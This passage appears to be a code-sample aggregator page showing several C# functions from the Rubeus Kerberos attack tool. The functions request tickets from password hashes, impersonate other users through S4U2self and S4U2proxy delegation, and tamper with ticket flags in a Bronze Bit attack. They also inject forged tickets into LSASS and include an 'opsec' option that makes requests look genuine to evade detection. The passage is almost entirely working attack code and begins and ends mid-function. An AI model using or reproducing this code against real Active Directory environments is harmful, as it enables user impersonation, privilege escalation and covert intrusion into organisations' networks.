                PA_DATA padata       = new PA_DATA(domain, userName, ticket, clientKey, etype);
                s4u2proxyReq.padata.Add(padata);
                PA_DATA pac_options = new PA_DATA(false, false, false, true);
                s4u2proxyReq.padata.Add(pac_options);
                s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT;
                s4u2proxyReq.req_body.realm      = domain;
                string[] parts      = targetSPN.Split('/');
                string   serverName = parts[1];
                s4u2proxyReq.req_body.sname.name_type = 2;
                // the sname
                s4u2proxyReq.req_body.sname.name_string.Add(parts[0]);
                // the server
                s4u2proxyReq.req_body.sname.name_string.Add(serverName);
                // supported encryption types
                s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
                s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
                s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
                // add in the ticket from the S4U2self response
                s4u2proxyReq.req_body.additional_tickets.Add(rep.ticket);
                byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
                Console.WriteLine("[*] Sending S4U2proxy request");
                byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
                if (null == response2)
                {
                    return;
                }
                // decode the supplied bytes to an AsnElt object
                //  false == ignore trailing garbage
                AsnElt responseAsn2 = AsnElt.Decode(response2, false);
                // check the response value
                int responseTag2 = responseAsn2.TagValue;
                switch (responseTag2)
                {
                case 13:
                    Console.WriteLine("[+] S4U2proxy success!");
                    // parse the response to an TGS-REP
                    TGS_REP rep2 = new TGS_REP(responseAsn2);
                    // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
                    EncKDCRepPart encRepPart2 = new EncKDCRepPart(
                        AsnElt.Decode(
                            Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher), false)
                        .FirstElement);
                    KRB_CRED    cred;
                    KrbCredInfo info;
                    byte[]      kirbiBytes;
                    if (!string.IsNullOrEmpty(altService))
                    {
                        string[] altSnames = altService.Split(',');
                        foreach (string altSname in altSnames)
                        {
                            // now build the final KRB-CRED structure with one or more alternate snames
                            cred = new KRB_CRED();
                            // since we want an alternate sname, first substitute it into the ticket structure
                            rep2.ticket.sname.name_string[0] = altSname;
                            // add the ticket
                            cred.Tickets.Add(rep2.ticket);
                            // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
                            info = new KrbCredInfo();
                            // [0] add in the session key
                            info.key.keytype  = encRepPart2.key.keytype;
                            info.key.keyvalue = encRepPart2.key.keyvalue;
                            // [1] prealm (domain)
                            info.prealm = encRepPart2.realm;
                            // [2] pname (user)
                            info.pname.name_type   = rep2.cname.name_type;
                            info.pname.name_string = rep2.cname.name_string;
                            // [3] flags
                            info.flags = encRepPart2.flags;
                            // [4] authtime (not required)
                            // [5] starttime
                            info.starttime = encRepPart2.starttime;
                            // [6] endtime
                            info.endtime = encRepPart2.endtime;
                            // [7] renew-till
                            info.renew_till = encRepPart2.renew_till;
                            // [8] srealm
                            info.srealm = encRepPart2.realm;
                            // [9] sname
                            info.sname.name_type   = encRepPart2.sname.name_type;
                            info.sname.name_string = encRepPart2.sname.name_string;
                            // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
                            Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname);
                            info.sname.name_string[0] = altSname;
                            // add the ticket_info into the cred object
                            cred.EncryptedPart.ticket_info.Add(info);
                            kirbiBytes = cred.Encode().Encode();
                            Helpers.DisplayKerberosTicket(kirbiBytes);
                            if (ptt)
                            {
                                // pass-the-ticket -> import into LSASS
                                LSA.ImportTicket(kirbiBytes);
                            }
                        }
                        return;
                    }
                    // now build the final KRB-CRED structure, no alternate snames
                    cred = new KRB_CRED();
                    // if we want an alternate sname, first substitute it into the ticket structure
                    if (!string.IsNullOrEmpty(altService))
                    {
                        rep2.ticket.sname.name_string[0] = altService;
                    }
                    // add the ticket
                    cred.Tickets.Add(rep2.ticket);
                    // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
                    info = new KrbCredInfo();
                    // [0] add in the session key
                    info.key.keytype  = encRepPart2.key.keytype;
                    info.key.keyvalue = encRepPart2.key.keyvalue;
                    // [1] prealm (domain)
                    info.prealm = encRepPart2.realm;
                    // [2] pname (user)
                    info.pname.name_type   = rep2.cname.name_type;
                    info.pname.name_string = rep2.cname.name_string;
                    // [3] flags
                    info.flags = encRepPart2.flags;
                    // [4] authtime (not required)
                    // [5] starttime
                    info.starttime = encRepPart2.starttime;
                    // [6] endtime
                    info.endtime = encRepPart2.endtime;
                    // [7] renew-till
                    info.renew_till = encRepPart2.renew_till;
                    // [8] srealm
                    info.srealm = encRepPart2.realm;
                    // [9] sname
                    info.sname.name_type   = encRepPart2.sname.name_type;
                    info.sname.name_string = encRepPart2.sname.name_string;
                    // add the ticket_info into the cred object
                    cred.EncryptedPart.ticket_info.Add(info);
                    kirbiBytes = cred.Encode().Encode();
                    Helpers.DisplayKerberosTicket(kirbiBytes);
                    if (ptt)
                    {
                        // pass-the-ticket -> import into LSASS
                        LSA.ImportTicket(kirbiBytes);
                    }
                    return;

                case 30:
                    // parse the response to an KRB-ERROR
                    Helpers.DisplayKerberosError(responseAsn);
                    return;

                default:
                    Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
                    return;
                }

            case 30:
                // parse the response to an KRB-ERROR
                Helpers.DisplayKerberosError(responseAsn);
                return;

            default:
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
                return;
            }
        }
Example #18
0
        public static byte[] TGT(string userName, string domain, string keyString,
                                 Interop.KERB_ETYPE etype, bool ptt, string domainController = "", uint luid = 0)
        {
            Console.WriteLine("[*] Action: Ask TGT\r\n");
            Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString);

            if (luid != 0)
            {
                Console.WriteLine("[*] Target LUID : {0}", luid);
            }
            string dcIP = Networking.GetDCIP(domainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return(null);
            }
            Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName);
            byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype);
            byte[] response = Networking.SendBytes(dcIP, 88, reqBytes);
            if (null == response)
            {
                return(null);
            }
            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);
            // check the response value
            int responseTag = responseAsn.TagValue;

            switch (responseTag)
            {
            case 11:
                Console.WriteLine("[+] TGT request successful!");
                // parse the response to an AS-REP
                AS_REP rep = new AS_REP(responseAsn);
                // convert the key string to bytes
                byte[] key = Helpers.StringToByteArray(keyString);
                // decrypt the enc_part containing the session key/etc.
                // TODO: error checking on the decryption "failing"...
                byte[] outBytes;
                if (etype == Interop.KERB_ETYPE.rc4_hmac)
                {
                    // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
                {
                    // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else
                {
                    Console.WriteLine("\r\n[X] Encryption type \"{0}\" not currently supported", etype);
                    return(null);
                }
                AsnElt        ae         = AsnElt.Decode(outBytes, false);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.FirstElement);

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.Tickets.Add(rep.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;
                // [1] prealm (domain)
                info.prealm = encRepPart.realm;
                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;
                // [3] flags
                info.flags = encRepPart.flags;
                // [4] authtime (not required)
                // [5] starttime
                info.starttime = encRepPart.starttime;
                // [6] endtime
                info.endtime = encRepPart.endtime;
                // [7] renew-till
                info.renew_till = encRepPart.renew_till;
                // [8] srealm
                info.srealm = encRepPart.realm;
                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // add the ticket_info into the cred object
                cred.EncryptedPart.ticket_info.Add(info);
                byte[] kirbiBytes = cred.Encode().Encode();
                Helpers.DisplayKerberosTicket(kirbiBytes);
                if (ptt || (0 != luid))
                {
                    // pass-the-ticket -> import into LSASS
                    LSA.ImportTicket(kirbiBytes, luid);
                }
                return(kirbiBytes);

            case 30:
                Helpers.DisplayKerberosError(responseAsn);
                return(null);

            default:
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
                return(null);
            }
        }
Example #19
0
        public static byte[] TGT(string userName, string domain, Ticket providedTicket, byte[] clientKey,
                                 Interop.KERB_ETYPE etype, bool ptt, string domainController = "", bool display = true)
        {
            if (display)
            {
                Console.WriteLine("[*] Action: Renew TGT\r\n");
            }
            string dcIP = Networking.GetDCIP(domainController, display);

            if (string.IsNullOrEmpty(dcIP))
            {
                return(null);
            }
            if (display)
            {
                Console.WriteLine("[*] Building TGS-REQ renewal for: '{0}\\{1}'", domain, userName);
            }
            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, "krbtgt", providedTicket, clientKey, etype, true);
            byte[] response = Networking.SendBytes(dcIP.ToString(), 88, tgsBytes);
            if (null == response)
            {
                return(null);
            }
            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);
            // check the response value
            int responseTag = responseAsn.TagValue;

            switch (responseTag)
            {
            case 13:
                Console.WriteLine("[+] TGT renewal request successful!");
                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);
                // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
                EncKDCRepPart encRepPart = new EncKDCRepPart(
                    AsnElt.Decode(
                        Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher),
                        false)
                    .FirstElement);
                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();
                // add the ticket
                cred.Tickets.Add(rep.ticket);
                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
                KrbCredInfo info = new KrbCredInfo();
                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;
                // [1] prealm (domain)
                info.prealm = encRepPart.realm;
                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;
                // [3] flags
                info.flags = encRepPart.flags;
                // [4] authtime (not required)
                // [5] starttime
                info.starttime = encRepPart.starttime;
                // [6] endtime
                info.endtime = encRepPart.endtime;
                // [7] renew-till
                info.renew_till = encRepPart.renew_till;
                // [8] srealm
                info.srealm = encRepPart.realm;
                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;
                // add the ticket_info into the cred object
                cred.EncryptedPart.ticket_info.Add(info);
                byte[] kirbiBytes = cred.Encode().Encode();
                if (display)
                {
                    Helpers.DisplayKerberosTicket(kirbiBytes);
                    if (ptt)
                    {
                        // pass-the-ticket -> import into LSASS
                        LSA.ImportTicket(kirbiBytes);
                    }
                }
                return(kirbiBytes);

            case 30:
                Helpers.DisplayKerberosError(responseAsn);
                return(null);

            default:
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
                return(null);
            }
        }
Example #20
0
        private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", bool self = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial)
        {
            // extract out the info needed for the TGS-REQ/S4U2Self execution
            string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
            string domain   = kirbi.enc_part.ticket_info[0].prealm;
            Ticket ticket   = kirbi.tickets[0];

            byte[]             clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
            Interop.KERB_ETYPE etype     = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;

            string dcIP = Networking.GetDCIP(domainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return(null);
            }

            Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain);

            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec);

            Console.WriteLine("[*] Sending S4U2self request");
            byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
            if (response == null)
            {
                return(null);
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
            {
                Console.WriteLine("[+] S4U2self success!");

                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);
                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                byte[]        outBytes   = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
                AsnElt        ae         = AsnElt.Decode(outBytes, false);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // if we want to use this s4u2self ticket for authentication, change the sname
                if (!String.IsNullOrEmpty(altService) && self)
                {
                    rep.ticket.sname.name_string[0] = altService.Split('/')[0];
                    rep.ticket.sname.name_string.Add(altService.Split('/')[1]);
                }

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = encRepPart.realm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;
                if (bronzebit && !String.IsNullOrEmpty(keyString))
                {
                    Console.WriteLine("[*] Bronze Bit flag passed, flipping forwardable flag on. Original flags: {0}", info.flags);
                    info.flags |= Interop.TicketFlags.forwardable;

                    // get user longterm key from keyString
                    byte[] key = Helpers.StringToByteArray(keyString);

                    // decrypt and decode ticket encpart
                    var decTicketPart = rep.ticket.Decrypt(key, null, true);

                    // modify flags
                    decTicketPart.flags |= Interop.TicketFlags.forwardable;

                    // encode and encrypt ticket encpart
                    byte[] encTicketData = decTicketPart.Encode().Encode();
                    byte[] encTicketPart = Crypto.KerberosEncrypt((Interop.KERB_ETYPE)rep.ticket.enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData);
                    rep.ticket.enc_part = new EncryptedData(rep.ticket.enc_part.etype, encTicketPart, rep.ticket.enc_part.kvno);
                    Console.WriteLine("[*] Flags changed to: {0}", info.flags);
                }

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // if we want to use the s4u2self change the sname here too
                if (!String.IsNullOrEmpty(altService) && self)
                {
                    Console.WriteLine("[*] Substituting alternative service name '{0}'", altService);
                    info.sname.name_string[0] = altService.Split('/')[0];
                    info.sname.name_string.Add(altService.Split('/')[1]);
                }

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                string kirbiString = Convert.ToBase64String(kirbiBytes);

                Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm);
                Console.WriteLine("[*] base64(ticket.kirbi):\r\n");

                if (Rubeus.Program.wrapTickets)
                {
                    // display the .kirbi base64, columns of 80 chararacters
                    foreach (string line in Helpers.Split(kirbiString, 80))
                    {
                        Console.WriteLine("      {0}", line);
                    }
                }
                else
                {
                    Console.WriteLine("      {0}", kirbiString);
                }

                Console.WriteLine("");

                if (!String.IsNullOrEmpty(outfile))
                {
                    string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}";
                    filename = Helpers.MakeValidFileName(filename);
                    if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                    {
                        Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                    }
                }

                if (ptt && self)
                {
                    // pass-the-ticket -> import into LSASS
                    LSA.ImportTicket(kirbiBytes, new LUID());
                }

                return(cred);
            }
            else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }

            return(null);
        }
Example #21
0
        private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", Ticket tgs = null)
        {
            Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
            if (!String.IsNullOrEmpty(altService))
            {
                string[] altSnames = altService.Split(',');
                if (altSnames.Length == 1)
                {
                    Console.WriteLine("[*]   Final ticket will be for the alternate service '{0}'", altService);
                }
                else
                {
                    Console.WriteLine("[*]   Final tickets will be for the alternate services '{0}'", altService);
                }
            }

            // extract out the info needed for the TGS-REQ/S4U2Proxy execution
            string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
            string domain   = kirbi.enc_part.ticket_info[0].prealm;
            Ticket ticket   = kirbi.tickets[0];

            byte[]             clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
            Interop.KERB_ETYPE etype     = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;

            string dcIP = Networking.GetDCIP(domainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return;
            }
            Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
            TGS_REQ s4u2proxyReq = new TGS_REQ();
            PA_DATA padata       = new PA_DATA(domain, userName, ticket, clientKey, etype);

            s4u2proxyReq.padata.Add(padata);
            PA_DATA pac_options = new PA_DATA(false, false, false, true);

            s4u2proxyReq.padata.Add(pac_options);

            s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT;

            s4u2proxyReq.req_body.realm = domain;

            string[] parts      = targetSPN.Split('/');
            string   serverName = parts[parts.Length - 1];

            s4u2proxyReq.req_body.sname.name_type = 2;
            foreach (string part in parts)
            {
                s4u2proxyReq.req_body.sname.name_string.Add(part);
            }

            // supported encryption types
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);

            // add in the ticket from the S4U2self response
            s4u2proxyReq.req_body.additional_tickets.Add(tgs);

            byte[] s4ubytes = s4u2proxyReq.Encode().Encode();

            Console.WriteLine("[*] Sending S4U2proxy request");
            byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
            if (response2 == null)
            {
                return;
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response2, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 13)
            {
                Console.WriteLine("[+] S4U2proxy success!");

                // parse the response to an TGS-REP
                TGS_REP rep2 = new TGS_REP(responseAsn);

                // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
                byte[]        outBytes2   = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
                AsnElt        ae2         = AsnElt.Decode(outBytes2, false);
                EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);

                if (!String.IsNullOrEmpty(altService))
                {
                    string[] altSnames = altService.Split(',');

                    foreach (string altSname in altSnames)
                    {
                        // now build the final KRB-CRED structure with one or more alternate snames
                        KRB_CRED cred = new KRB_CRED();

                        // since we want an alternate sname, first substitute it into the ticket structure
                        rep2.ticket.sname.name_string[0] = altSname;

                        // add the ticket
                        cred.tickets.Add(rep2.ticket);

                        // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                        KrbCredInfo info = new KrbCredInfo();

                        // [0] add in the session key
                        info.key.keytype  = encRepPart2.key.keytype;
                        info.key.keyvalue = encRepPart2.key.keyvalue;

                        // [1] prealm (domain)
                        info.prealm = encRepPart2.realm;

                        // [2] pname (user)
                        info.pname.name_type   = rep2.cname.name_type;
                        info.pname.name_string = rep2.cname.name_string;

                        // [3] flags
                        info.flags = encRepPart2.flags;

                        // [4] authtime (not required)

                        // [5] starttime
                        info.starttime = encRepPart2.starttime;

                        // [6] endtime
                        info.endtime = encRepPart2.endtime;

                        // [7] renew-till
                        info.renew_till = encRepPart2.renew_till;

                        // [8] srealm
                        info.srealm = encRepPart2.realm;

                        // [9] sname
                        info.sname.name_type   = encRepPart2.sname.name_type;
                        info.sname.name_string = encRepPart2.sname.name_string;

                        // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
                        Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname);
                        info.sname.name_string[0] = altSname;

                        // add the ticket_info into the cred object
                        cred.enc_part.ticket_info.Add(info);

                        byte[] kirbiBytes = cred.Encode().Encode();

                        string kirbiString = Convert.ToBase64String(kirbiBytes);

                        Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName);

                        // display the .kirbi base64, columns of 80 chararacters
                        foreach (string line in Helpers.Split(kirbiString, 80))
                        {
                            Console.WriteLine("      {0}", line);
                        }
                        if (ptt)
                        {
                            // pass-the-ticket -> import into LSASS
                            LSA.ImportTicket(kirbiBytes, new Interop.LUID());
                        }
                    }
                }
                else
                {
                    // now build the final KRB-CRED structure, no alternate snames
                    KRB_CRED cred = new KRB_CRED();

                    // if we want an alternate sname, first substitute it into the ticket structure
                    if (!String.IsNullOrEmpty(altService))
                    {
                        rep2.ticket.sname.name_string[0] = altService;
                    }

                    // add the ticket
                    cred.tickets.Add(rep2.ticket);

                    // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                    KrbCredInfo info = new KrbCredInfo();

                    // [0] add in the session key
                    info.key.keytype  = encRepPart2.key.keytype;
                    info.key.keyvalue = encRepPart2.key.keyvalue;

                    // [1] prealm (domain)
                    info.prealm = encRepPart2.realm;

                    // [2] pname (user)
                    info.pname.name_type   = rep2.cname.name_type;
                    info.pname.name_string = rep2.cname.name_string;

                    // [3] flags
                    info.flags = encRepPart2.flags;

                    // [4] authtime (not required)

                    // [5] starttime
                    info.starttime = encRepPart2.starttime;

                    // [6] endtime
                    info.endtime = encRepPart2.endtime;

                    // [7] renew-till
                    info.renew_till = encRepPart2.renew_till;

                    // [8] srealm
                    info.srealm = encRepPart2.realm;

                    // [9] sname
                    info.sname.name_type   = encRepPart2.sname.name_type;
                    info.sname.name_string = encRepPart2.sname.name_string;

                    // add the ticket_info into the cred object
                    cred.enc_part.ticket_info.Add(info);

                    byte[] kirbiBytes = cred.Encode().Encode();

                    string kirbiString = Convert.ToBase64String(kirbiBytes);

                    Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN);

                    // display the .kirbi base64, columns of 80 chararacters
                    foreach (string line in Helpers.Split(kirbiString, 80))
                    {
                        Console.WriteLine("      {0}", line);
                    }
                    if (ptt)
                    {
                        // pass-the-ticket -> import into LSASS
                        LSA.ImportTicket(kirbiBytes, new Interop.LUID());
                    }
                }
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }
        }
Example #22
0
        private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null, bool opsec = false)
        {
            Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
            if (!String.IsNullOrEmpty(altService))
            {
                string[] altSnames = altService.Split(',');
                if (altSnames.Length == 1)
                {
                    Console.WriteLine("[*]   Final ticket will be for the alternate service '{0}'", altService);
                }
                else
                {
                    Console.WriteLine("[*]   Final tickets will be for the alternate services '{0}'", altService);
                }
            }

            // extract out the info needed for the TGS-REQ/S4U2Proxy execution
            string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
            string domain   = kirbi.enc_part.ticket_info[0].prealm;
            Ticket ticket   = kirbi.tickets[0];

            byte[]             clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
            Interop.KERB_ETYPE etype     = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;

            string dcIP = Networking.GetDCIP(domainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return;
            }
            Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
            TGS_REQ s4u2proxyReq = new TGS_REQ(!opsec);

            s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION;

            s4u2proxyReq.req_body.realm = domain;

            string[] parts      = targetSPN.Split('/');
            string   serverName = parts[parts.Length - 1];

            s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST;
            foreach (string part in parts)
            {
                s4u2proxyReq.req_body.sname.name_string.Add(part);
            }

            // supported encryption types
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);

            // add in the ticket from the S4U2self response
            s4u2proxyReq.req_body.additional_tickets.Add(tgs.tickets[0]);

            // needed for authenticator checksum
            byte[] cksum_Bytes = null;

            // the rest of the opsec changes
            if (opsec)
            {
                // remove renewableok and add canonicalize
                s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK;
                s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;

                // 15 minutes in the future like genuine requests
                DateTime till = DateTime.Now;
                till = till.AddMinutes(15);
                s4u2proxyReq.req_body.till = till;

                // extra etypes
                s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp);
                s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp);

                // get hostname and hostname of SPN
                string hostName = Dns.GetHostName().ToUpper();
                string targetHostName;
                if (parts.Length > 1)
                {
                    targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper();
                }
                else
                {
                    targetHostName = hostName;
                }

                // create enc-authorization-data if target host is not the local machine
                if (hostName != targetHostName)
                {
                    // authdata requires key and etype from tgs
                    byte[]             tgsKey   = tgs.enc_part.ticket_info[0].key.keyvalue;
                    Interop.KERB_ETYPE tgsEtype = (Interop.KERB_ETYPE)tgs.enc_part.ticket_info[0].key.keytype;

                    List <AuthorizationData> tmp          = new List <AuthorizationData>();
                    AuthorizationData        restrictions = new AuthorizationData(Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS);
                    AuthorizationData        kerbLocal    = new AuthorizationData(Interop.AuthorizationDataType.KERB_LOCAL);
                    tmp.Add(restrictions);
                    tmp.Add(kerbLocal);
                    AuthorizationData authorizationData      = new AuthorizationData(tmp);
                    byte[]            authorizationDataBytes = authorizationData.Encode().Encode();
                    byte[]            enc_authorization_data = Crypto.KerberosEncrypt(tgsEtype, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, tgsKey, authorizationDataBytes);
                    s4u2proxyReq.req_body.enc_authorization_data = new EncryptedData((Int32)tgsEtype, enc_authorization_data);
                }

                // encode req_body for authenticator cksum
                AsnElt req_Body_ASN    = s4u2proxyReq.req_body.Encode();
